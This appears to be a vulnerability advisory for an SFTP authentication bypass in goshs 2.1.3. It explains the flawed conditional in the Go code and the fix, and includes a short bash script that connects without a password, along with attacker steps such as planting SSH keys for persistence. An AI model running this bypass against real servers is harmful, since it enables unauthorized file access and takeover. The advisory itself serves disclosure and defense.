CVE-2026-62325: Authentication Bypass in goshs SFTP Server via Missing Password Check

goshs is a single-binary, multi-protocol file server designed in Go for developer testing and offensive security operations. The server supports hosting file structures over HTTP, HTTPS, WebDAV, and SFTP. The utility's rapid deployment capability and rich feature set make it a common fixture in environments that require ad-hoc file transfers or staging capabilities.

A critical logic vulnerability exists in the SFTP server module within version 2.1.3. When the server is initialized using basic authentication but configured with an empty password string, the application fails to register any active authentication handler. The service is classified under CWE-306 (Missing Authentication for Critical Function).

The consequence of this registration failure is a complete exposure of the target system's exposed file structure. Because the underlying SSH handler defaults to an unsecured state when no validators are explicitly configured, remote, unauthenticated network entities can successfully establish full SFTP read, write, and deletion permissions. The vulnerability demands no privileged credentials and occurs transparently upon client connection.

The emergence of CVE-2026-62325 is directly linked to an incomplete resolution of its predecessor, CVE-2026-40884. In the prior vulnerability, configuring an empty username (e.g., -b ':password') led to a failed validation check, which left the initialization handlers empty. To remediate this, the developers added a validation check to sanity/checks.go that strictly blocks startup if the configuration string begins with a colon.

However, this sanitization logic only evaluated the prefix of the credential parameter, failing to inspect the trailing structure. As a result, starting the file server with a configuration like -b 'admin:' (valid username but empty password) is accepted by the validation layer. The system parses the configuration into the internal state variables, setting s.Username to "admin" and s.Password to "" (an empty string).

When initializing the SFTP backend inside sftpserver/sftpserver.go, the application executes the following check: if s.Username != "" && s.Password != "". Because s.Password is empty, the logical AND operation fails. Consequently, the program completely skips the registration of sshServer.PasswordHandler.

Because the administrator did not supply authorized keys via -fkf, the PublicKeyHandler also remains unassigned. Under the rules of the third-party SSH framework gliderlabs/ssh, if both authentication callbacks are unassigned, the platform falls back to enabling anonymous access via NoClientAuth = true. This implicit framework-level fallback is the direct source of the authentication bypass.

The critical failure point resides in the conditional initialization logic inside sftpserver/sftpserver.go. The following visual model illustrates the progression from command-line parsing to the unsecured fallback state:

// Vulnerable Code Path: sftpserver/sftpserver.go
// If the password is empty, the block is completely skipped
if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
    }
}

In the patched version, the developer modified the logical operator from a conjunct (&&) to a disjunct (||). This modification guarantees that as long as at least one of the variables contains a string, the handler registers.

// Patched Code Path: sftpserver/sftpserver.go
// Changing to logical OR ensures the handler registers and enforces validation
if s.Username != "" || s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
    }
}

Under this corrected construction, registering the handler prevents the underlying framework from falling back to NoClientAuth = true. A connecting client must now undergo password validation. For an empty-password configuration, the client must successfully supply an empty password to establish authorization, removing the unauthenticated bypass vector.

Exploitation of CVE-2026-62325 does not require deep memory corruption techniques or payload construction. To successfully execute the bypass, an attacker must identify an exposed goshs instance running version 2.1.3 where the administrator enabled SFTP but passed an empty password configuration.

The attacker initiates standard SSH transport negotiation. During the authentication handshake, the client queries the available authentication mechanisms. Because NoClientAuth is active, the server advertises none as a valid authentication technique.

The exploit script below demonstrates how a connection can be established without providing a password:

#!/usr/bin/env bash
set -euo pipefail
 
TARGET_HOST="127.0.0.1"
TARGET_PORT="2121"
 
echo "[*] Attempting unauthenticated connection to SFTP..."
 
# By enforcing 'none' authentication, we skip password entry entirely
sftp -o StrictHostKeyChecking=no \
     -o UserKnownHostsFile=/dev/null \
     -o PreferredAuthentications=none \
     -P "$TARGET_PORT" \
     "admin@$TARGET_HOST" << 'EOF'
ls -la
pwd
EOF

If the server is running in a vulnerable configuration, the directory index of the served directory is immediately returned. The attacker gains full read, write, and command-line execution access within the restricted scope of the file server's working directory.

The impact of this vulnerability is critical for exposed assets. An unauthenticated remote attacker can read every file present in the shared directory structure. In environments where goshs is deployed for administrative tasks or rapid sharing, this exposure can lead to the leaking of software source code, deployment variables, or personal developer credentials.

Because the SFTP server permits modifications, the impact on integrity is also severe. Attackers can upload files, overwrite executable files with malicious payloads, or delete critical resources. If the file server points to sensitive areas of a production host, an attacker can append public keys to local user .ssh/authorized_keys configurations to secure persistent system shells.

While the application does not allow general remote command execution on the host operating system directly through the SFTP interface, the arbitrary write capabilities make lateral escalation highly probable. If goshs runs under highly privileged system user contexts, the server compromise translates directly to a host compromise.

To address this vulnerability, administrators must upgrade all deployed instances of goshs to version v2.1.4 or newer. The update alters the internal logical gates within the SFTP server code to ensure that a handler is consistently defined when partial credential structures are supplied.

If immediate upgrading is impossible, temporary mitigation requires checking running parameters. Administrators must audit operational scripts and ensure that no trailing colon is present inside the basic authentication configuration flag. For example, replacing -b 'admin:' with -b 'admin:strong_password' immediately forces the system to register the authentication block and eliminates the bypass vector.

For added security, organizations should use network security controls to limit file transfer utilities. Exposing goshs SFTP interfaces (typically port 2121) directly to external WAN IP addresses should be strictly prohibited. Using network address translations or localized VPN access reduces the attack surface and secures the service.